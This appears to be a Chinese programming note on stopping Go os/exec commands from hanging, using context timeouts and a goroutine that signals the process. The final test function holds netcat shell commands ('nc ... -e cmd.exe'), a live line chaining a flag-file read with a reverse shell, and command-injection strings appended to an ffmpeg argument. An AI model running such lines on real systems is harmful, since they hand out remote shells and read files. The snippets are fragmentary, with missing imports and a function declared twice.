Go的os/exec执行超时导致程序死机的解决方案

import (
	"fmt"
	"os/exec"
)

func main() {
	cmd := exec.Command("cmd", "/c", "dir  C:\\Users\\ASUS\\Desktop\\新建文件夹")
	output, err := cmd.Output()
	if err != nil {
		fmt.Println(err)
		fmt.Println(" command failed:", string(output))
	}
	fmt.Println(" command success:", string(output))
}

func GetMP4Duration(filePath string) (int, error) {
	// 构建 FFmpeg 命令
	ctx, cancel := context.WithTimeout(context.Background(), 70*time.Second)
	defer cancel()
	cmd := exec.CommandContext(ctx, pojo.ResultDir+"\\bin\\ffmpeg.exe", "-i", filePath, "-f", "null", "NUL")
	// 执行命令并捕获输出
	output, err := cmd.CombinedOutput()
	if err != nil {
		return 0, err
	}

	// 解析输出以获取时长
	durationStr := extractDuration(string(output))
	if durationStr == "" {
		return 0, fmt.Errorf("Failed to extract duration from FFmpeg output")
	}

	// 将时长字符串转换为秒数
	duration, err := parseDuration(durationStr)
	if err != nil {
		return 0, err
	}

	return int(duration), nil
}

func GetMP4Duration(filePath string) (int, error) {
	// 构建 FFmpeg 命令
	ctx, cancel := context.WithTimeout(context.Background(), 70*time.Second)
	defer cancel()
	cmd := exec.CommandContext(ctx, pojo.ResultDir+"\\bin\\ffmpeg.exe", "-i", filePath, "-f", "null", "NUL")

	go func() {
		<-ctx.Done()
		if ctx.Err() == context.DeadlineExceeded {
			fmt.Println("Context done due to timeout. Killing process...")
			cmd.Process.Signal(syscall.SIGINT)
			//或者cmd.Process.Kill()
		}
	}()
	// 执行命令并捕获输出
	output, err := cmd.CombinedOutput()
	if err != nil {
		return 0, err
	}

	// 解析输出以获取时长
	durationStr := extractDuration(string(output))
	if durationStr == "" {
		return 0, fmt.Errorf("Failed to extract duration from FFmpeg output")
	}

	// 将时长字符串转换为秒数
	duration, err := parseDuration(durationStr)
	if err != nil {
		return 0, err
	}

	return int(duration), nil
}

cmd := exec.CommandContext(ctx, "cmd", "/c", "type E:\\flag.txt && echo 'hello'")

func shtest() {

	//nc -lvp 777
	//nc 127.0.0.1 777 -e c:\windows\system32\cmd.exe
	//ffmpeg  -i  F:\测试专用\视频\065.mp4 |nc 127.0.01    -f  null  NUL
	// filePath := `F:\测试专用\视频\065.mp4`
	ctx, cancel := context.WithTimeout(context.Background(), 20*time.Second)
	defer cancel()
	//-threads 5  -preset veryfast
	//ffmpeg  -i "1.成都“不用咬全靠吸”的蹄花，裹满辣椒水太满足了(Av1052272125,P1).mp4" -threads 5 -preset veryfast -f null null
	//ffmpeg  -i "1.成都“不用咬全靠吸”的蹄花，裹满辣椒水太满足了(Av1052272125,P1).mp4" -threads 5 -preset veryfast  -f null null
	// "echo 'hello' && echo 'hi'"     type   E:\\flag.txt
	//cmd := exec.CommandContext(ctx, "ffmpeg", "-i", filePath, "-f", "null", "NUL  & echo 'hello' && echo 'hi'")
	//cmd := exec.CommandContext(ctx, "cmd", "/c", "type E:\\flag.txt && echo 'hello'")
	cmd := exec.CommandContext(ctx, "cmd", "/c", "type  E:\\flag.txt  && nc 127.0.0.1 666 -e cmd.exe")
	sr := ""
	for _, v := range cmd.Args {
		sr += v + " "
	}
	fmt.Println(sr)
	go func() {
		<-ctx.Done()
		if ctx.Err() == context.DeadlineExceeded {
			fmt.Println("Context done due to timeout. Killing process...")
			cmd.Process.Signal(syscall.SIGINT)
		}
	}()
	// 执行命令并捕获输出
	output, err := cmd.CombinedOutput()
	fmt.Println(string(output))
	if err != nil {
		fmt.Println(err)
	}
	fmt.Println("5555555555")
}